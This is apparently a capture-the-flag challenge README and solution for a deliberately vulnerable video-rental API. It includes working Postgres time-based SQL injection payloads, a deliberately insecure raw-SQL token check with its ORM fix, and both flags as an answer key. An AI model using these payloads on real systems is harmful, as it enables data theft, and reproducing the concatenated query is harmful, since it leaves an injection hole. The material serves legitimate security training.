At Rose Video, the developers are hard at work building a new API to support the classic movie rental business. This API is time-sensitive, as a new mobile app is coming early next year. As a new hire, you need to jump in and get your hands dirty in a clean fresh API.
- Time-base SQL injection
- Credentials in repository
- Brute-force exfiltration from DB
- Secure Coding best practices
The challenge consists of three docker containers, api
, db
, and status
. The api container contains
a time-based sql injection vulnerability.
- api: localhost:8000
- db: localhost:5432
- status: localhost:8020
If the sql injection is exploited, the player will be able to brute-force exfiltrate the name of a table which contains the flag.
The DB container runs Postgres 15, and contains a set of data for a video rental company.
The Status container contains an obfuscated script that watches the status of the api and db containers, and which serves a status page.
The Status container watches the API to determine if the SQLi vulnerability still exists. If the vulnerability is fixed, it shows a flag on the status page.
The Status container also watches the DB to determine if a user is accessing the database directly. If a user is accessing the database directly, it removes the flag in a table name. In order to reset the flag, drop all the containers and their volumes, and start the containers again.
Prerequisites
- docker and docker compose installed on your machine
Clone this repository, and run docker compose up -d
. The main site will load on localhost:8000
.
To reset the challenge, run docker compose down -v
and then docker compose up -d
again.
First, we will find the credentials in the .env
file, and use those to log in
to the API tool. The API tool has all the objects on the API, and allows us to explore the data.
You will find that Rentals
have a new relationship with Renewals
, and a new Token
is generated
on a rental that will allow a renewal to be created.
Create a Rental
, or find a rental that has a renewal_token
on it. Use the rental_id
and the
associated token
to create a Renewal
.
If we use a time-based Postgres injection on the token
field, we will see the request is delayed.
{
"rental": 16052,
"new_return_date": "2023-04-07",
"token": "7ab67b73-871d-4993-98f9-125dba741644'||pg_sleep(20); -- -"
}
Since this request is delayed, we can exploit this endpoint! There is a time-based sql injection here, which means that we can get the request to take longer under certain conditions. For example, we could write a query which checked if a table exists, and if it does, delay 20 seconds.
If we use the starts_with()
Postgres function, we can find -- character by character -- a flag hidden
in a table name. We know the flag starts with ASV
, so let's start there:
{
"rental": 16052,
"new_return_date": "2023-04-07",
"token": "7ab67b73-871d-4993-98f9-125dba741644'||(SELECT CASE WHEN EXISTS((SELECT table_name FROM information_schema.tables WHERE starts_with(table_name, 'ASV{'))) THEN pg_sleep(20) ELSE '' END); -- -"
}
Sure enough, it takes 20 seconds to load this request! There's a table in the database that starts with
ASV{
.
Using this method, we can brute-force the flag from the database:
{
"rental": 16052,
"new_return_date": "2023-04-07",
"token": "7ab67b73-871d-4993-98f9-125dba741644'||(SELECT CASE WHEN EXISTS((SELECT table_name FROM information_schema.tables WHERE starts_with(table_name, 'ASV{PeopleLovePizzaz}'))) THEN pg_sleep(20) ELSE '' END); -- -"
}
FLAG: ASV{PeopleLovePizzaz}
A second flag can be found if the SQL injection is fixed in the api/rosevideo/dvdrental/models.py
file:
If we change this code:
def check_token(token, customer):
return len(Token.objects.raw("SELECT * FROM token WHERE customer_id = %s AND token = '" + token + "'", [customer.customer_id])) > 0
To something like this:
def check_token(token, customer):
return Token.objects.filter(token=token, customer=customer).exists()
The second flag will appear on the status site: localhost:8020
FLAG: ASV{7wee+U50nF@ce6ook}